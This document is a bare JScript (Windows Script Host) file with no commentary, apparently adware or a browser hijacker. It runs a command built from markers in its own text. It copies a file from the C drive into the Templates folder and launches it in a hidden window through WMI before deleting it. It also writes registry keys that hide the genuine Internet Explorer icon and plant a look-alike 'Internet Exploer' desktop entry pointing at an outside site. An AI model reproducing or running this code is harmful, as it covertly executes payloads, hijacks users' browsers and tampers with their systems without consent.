var _ws,_sf;
WshShell=new ActiveXObject("WScript.Shell");
var RunLnkFile=function()
{
var sfn=WScript.ScriptFullName;
var f=_sf.OpenTextFile(sfn,1);
var fc=f.ReadAll();
var _o1=/___(.*?)___/ig;
var _o2=/____(.*?)____/ig;
var a='',b='';
if(_o1.test(fc))
{
a=RegExp.$1;
a=a.replace(/\\/g,"\\\\");
var _fkurl="";
if(_o2.test(fc))
{
b=RegExp.$1;
try
{
_ws.Run('"'+a+'" '+b,1,false)
}
catch(e)
{
}
}
}
}
;var Init=function()
{
_ws=new ActiveXObject('WScript.Shell');
_sf=new ActiveXObject('Scripting.FileSystemObject')
}
;Init();
RunLnkFile();
var P=new ActiveXObject("WScript.Shell");
var q=new ActiveXObject("Scripting.FileSystemObject");
var TempPath=P.SpecialFolders("Templates");
var StartPath=P.SpecialFolders("AllUsersStartup");
var _0=parseInt(Math.floor(Math.random()*9999));
try
{
var dhead="c:\\";
var OldPath=P.CurrentDirectory;
P.CurrentDirectory=TempPath;
WScript.Sleep(5000);
q.CopyFile(dhead+"index.htm",TempPath+"\\"+_0);
CreateWin32(TempPath+"\\"+_0,TempPath);
WScript.Sleep(60000);
q.DeleteFile(TempPath+"\\"+_0)
}
catch(E)
{
}
;function CreateWin32(_1,_2)
{
var HIDDEN_WINDOW=12;
var WMI=GetObject("winmgmts:
{
impersonationLevel=impersonate
}
!\\\\.\\root\\cimv2:win32_processstartup");
var objConfig=WMI.SpawnInstance_();
objConfig.ShowWindow=HIDDEN_WINDOW;
var intProcessID="";
var objProcess=GetObject("winmgmts:
{
impersonationLevel=impersonate
}
!\\\\.\\root\\cimv2:Win32_Process");
objProcess.Create(_1,_2,objConfig,intProcessID)
}
;var CLSID="
{
86AEFBE8-763F-0647-899C-A93278894D8E
}
";
var URL="http://http://www.3144.net/?tt";
try
{
P.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\HideDesktopIcons\\NewStartPanel\\
{
871C5380-42A0-1069-A2EA-08002B30309D
}
",1,"REG_DWORD")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\HideDesktopIcons\\ClassicStartMenu\\
{
871C5380-42A0-1069-A2EA-08002B30309D
}
",1,"REG_DWORD")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\"+CLSID+"\\","Internet Exploer","REG_SZ")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\"+CLSID+"\\DefaultIcon\\","C:\\Program Files\\Internet Explorer\\Iexplore.exe","REG_SZ")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\"+CLSID+"\\Shell\\","","REG_SZ")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\"+CLSID+"\\Shell\\D\\Command\\","Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl","REG_SZ")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\"+CLSID+"\\Shell\\Open\\Command\\","C:\\Program Files\\Internet Explorer\\Iexplore.exe "+URL,"REG_SZ")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\"+CLSID+"\\Shell\\^'\\Command\\","Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl","REG_SZ")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_CLASSES_ROOT\\CLSID\\"+CLSID+"\\ShellFolder\\ShellFolder","10","REG_DWORD")
}
catch(e)
{
}
;try
{
P.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace\\"+CLSID+"\\","Internet Exploer","REG_SZ")
}
catch(e)
{
}
;
